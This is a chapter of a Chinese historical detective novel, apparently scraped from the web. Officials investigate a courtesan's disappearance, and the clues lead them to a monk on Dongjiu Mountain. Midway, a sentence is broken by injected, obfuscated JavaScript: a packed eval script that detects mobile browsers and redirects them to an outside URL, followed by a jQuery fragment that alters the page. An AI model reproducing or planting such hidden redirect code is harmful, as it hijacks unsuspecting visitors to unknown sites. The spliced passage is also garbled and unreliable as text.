第二日,魏熤一早就去找了苏知州。
“陵州能代替写诉状的不计其数,但是主要也就有那么两三位,但都是在衙门里任职的。小魏寺正可要看他们的状纸。”
“不用了,宋提刑也看过那件状纸原稿,他对那些字迹并不熟悉,一定不是州府的人所写。不知苏知州有没有一份非官职的讼师名单,我想,看看这些人的诉状书。”
“稍后我让宋提刑带你去案房里找。魏寺正,你可能来帮我瞧瞧这个案子,我前几日定了这个疑犯的罪刑,如今还是感到惴惴不安,我着实有些看不懂这个案子.不瞒你说,重刑之下,疑犯至今也未承认其罪。”
魏熤走到案桌前,看了案子,这是一桩梨花院女子失踪案,几日前梨花院秦芜姑娘与老鸨请示,夜间要去商贾乔员外城外别院,而这一去,就是一夜,两日过去都不见秦芜回来,老鸨便来报官,而乔员外就此被收押,此人也是硬气,刑罚之下不肯承认自己当夜见过秦芜,此案一直数日悬而未决。
“此案,虽有老鸨的人证,说秦芜出门一夜是因为乔员外,若是秦芜撒谎,那老鸨的话就不成立,乔员外就是替罪羔羊。且有马夫之言,乔员外一夜未出,也没有见过秦芜。当然,若是老鸨之言可信,那就是乔员外和马夫在撒谎。苏知州,不得不慎重的是,重刑之下,若不认罪,定有冤屈。”
“可是,依老鸨之言,她与她楼中女子红药皆亲眼所见,是乔家的马车接走了秦芜娘子。如今竟已走入死局了。”
“苏知州,不急,你且去请老鸨再来府衙一趟,这个案子,我们再好好审理一番。”
魏熤同宋提刑在案房里好一通翻找,好在,总算是找到了。
“宋提刑,不必找了,应是这一份了。”
“那可太好了。”宋提刑跑了几步,过来看魏熤手里的诉状书,天气炎热,两位身上的官服都被汗水浸透了,脸上流着汗,手上也净是灰尘。
“走,宋提刑,我们去外间。”
魏熤引着宋提刑去到外面,案房里不通窗子,闷热得很。外间还有些风吹起,能吹去一些浮热。
宋提刑看了诉状书,拍了拍手背,“果真,魏寺正,定然是这一份了。”
魏熤点头,看了诉状书的末行,“讼师卢丁。宋提刑,对此人可有印象?”
宋提刑摇头,“他经手的案子应当不多,我对此人没什么印象。”
“嗯,无碍,我这就派人去抓他进衙门。”
午后,老鸨进了衙堂,就见到衙堂上审理此案的人换了一个青天大官人。
“老妇见过大官人。“
“朱妈妈,你说你亲眼所见,是乔家的马车接走了秦芜,那你所见到的乔家马车是什么样子。”
“乔家的马车来过许多次,我记得非常清楚,马车不大,马车上两侧都挂着乔字牌,我断不会看错的。”
“你回头看看,可是这个样子。”
老鸨回头看去,衙堂里立着一幅画,画上的正是那辆来接秦芜的乔家马车。“是,正是这辆马车,但是看上去,总觉得有些怪。”
“你再好好瞧瞧,有何分别。”
她身旁同行的红药姑娘眯着眼睛看得清楚,她不确定地碰了碰老鸨的胳膊,“朱妈妈,那天来接秦芜姐的好像是一只骡子。”
“是,骡子?”老鸨也变得不确定。
“对,我记得是一只黑色的骡子,不是这匹黄马。”
“好像是,骡子,我还记得,那个车夫戴着斗笠,长什么样子,我都没瞧清楚。”
“大官人,”红药转身看向魏熤,“我记得,我看得很清楚,那个车夫他的手很白,不像是乔家的马夫。”
“好,你再细细说说,车夫的长相和穿着。”
“那个人,皮肤很白,他戴着斗笠,老是低着头,看不清楚他长什么样子,但我记得他身形高壮,与乔员外家常来的那位马夫应不是一个人,乔员外家的马夫年岁已高,身形瘦弱,他也从不会搀扶秦芜姐上马车,不过,戴斗笠的那人每月也会来好几次,每次都不是休沐日,我起初还原以为是乔员外家新来的车夫,就没有问起过。对了,戴斗笠的那人他扶着秦芜姐时,我看到,他的衣袖里藏着一串红珠。”
“你说的这些,并不足以证明乔员外无罪,释放乔员外恐怕得让我们找到真相和证据,当然,这些也有助我们早日找到秦芜姑娘的。”
魏熤回到后院里,就看到苏知州在看明姑娘的画,他看了一遍又一遍,也看不出一个所以然来。
张楚林单手撑着脸,另一手拿着石桌上的糕点吃细嚼慢咽着。
明嘉站在苏知州旁边,“此人最大线索是一串红珠。”
“一串红珠,就能找到这个车夫?”
明嘉点头,“这不是普通的红珠,而是红菩提。红菩提或许难见,但不巧的是,我们三人正好见过。”
苏知州看向明嘉,又看向张楚林,“你们三人?”
这时,魏熤的声音从身后传来,“对,在东鹫山,我们在一个隐忧僧人的手上见过。看明姑娘所绘的画像,虽不见相貌,仅凭身形,也看得出与那位僧人有五分相像。”
张楚林将手上的甜糕一口吞尽,含糊地说着:“说不定啊,这隐忧就是秦芜的姘头,这秦芜每每要赴约之时,就谎称是乔员外来接她了。这样她出了城,去了东鹫山,就不会被猜疑。”
“红药姑娘说,那人每次来梨花院接人时,皆不是休沐日。乔员外已是名利双收的商人,这——可无需避开什么日子。”魏熤点明,此人真面目确并非乔员外。
“没错,这法宝寺在休沐日最是忙碌,疑犯恐怕无暇脱身啊。”张楚林又衔起一块甜糕放在嘴里。
“既是姘头,那为何这一次秦芜为什么没有如常回来。”明嘉自言自语道。
“总不能是为情出逃了?”张楚林接道。
魏熤摇了摇头,“朱妈妈说,秦芜离开时,并没有带上她多年的积蓄。不太像是蓄谋出逃,更像是意料之外,她也没有想到她会回不来了。”
张楚林叹了口气,“我倒宁愿她是为情出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359790|199741||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逃,至少她现在应该是如愿以偿。”
苏知州将画放下,看向魏熤,“今日也算是有进展了。魏寺正,现下我们该如何?”
“苏知州,可派人去问问乔员外的马车在何处购得,在匠户处拿到这个马车的购买者名册。”
“好。”
“至于隐忧,我们这就去东鹫山拜访。”
“好。”
一行五人,再次驾马去往东鹫山,天色乌蒙,暮色苍茫,抵达时已入夜,如计划,五人留宿法宝寺。
魏熤与张楚林对立而坐,手里各摸着黑白两子,静默无声地下着棋子。
明嘉靠窗而坐,清风吹拂着竹林,宛若吹响一曲箫笛之仙乐。小芽立在姑娘身边,警惕地盯着窗外路过的每一个生灵。
等了两个时辰,一直到子时两刻,才等到六驳回来。
他轻轻敲门两声,小芽忙走去开了门。
他一进门,便是一副难以启齿的模样。
“如何?”魏熤放下黑子,抬头看向六驳。
“找到秦芜姑娘了?”明嘉将窗苓关上,站起身来问道。
“难不成,打草惊蛇了?”小芽见六驳迟迟不说话,也胡乱猜测起来。
六驳摇了摇头,“我守在隐忧的僧舍屋顶,一直到子时,他才提着僧饭左顾右盼地出了门,我跟着他绕着半山腰走了半圈,才见到他进了一个山洞。”
“然后呢?”张楚林忍不住发问道。
“然后,”六驳支支吾吾地说起来,“里头就传来了污秽之声。”
众人陷入了沉默。在这个法宝寺的禅房里是死一样的沉寂。
“那秦芜姑娘,是被囚禁在那里的,还是自甘堕落苟活的。”尽管场面尴尬,明嘉还是问出了口。
“我,我不知道。”
“我听红药说,秦芜姑娘最是爱财,每日都会清点她的宝箱,她断不会为情私奔,也断不会舍掉她那光鲜的好日子,而蜷缩在这块兽穴里的。”魏熤站起身,慢慢道来,解开明嘉的疑惑。
“那我们何时去解救她。”
“此刻。”魏熤回应着她。
“此刻?”是啊,受害者就在不远处,她还在遭受侵害,他们如何还能等得下去。
“对。”
“没错,既然我们已经找到秦芜姑娘了,就应当将疑犯捉拿归案。”张楚林也站起身来,说着这些正义凛然的话。
小芽虽在一旁只是听着,却也和自家姑娘一样对那个素未谋面的秦芜娘子升起怜悯之心,她连忙打开柜子,翻箱倒柜,找着可以为她蔽体的衣物,最后在一层薄被后面找到了几件素衣。
“六驳。”
“公子?”
“将那床被子也带上吧。”
“是。”六驳接过小芽递过来的被子。
一行五人绕着山路,整齐划一地快步走着,魏熤、明嘉、张楚林手中举着火把,六驳和小芽紧跟其后。黑夜里出现了一道又一道救赎的光芒,那是照亮着草径的火光,也是秦芜姑娘人生绝境的一隙天光。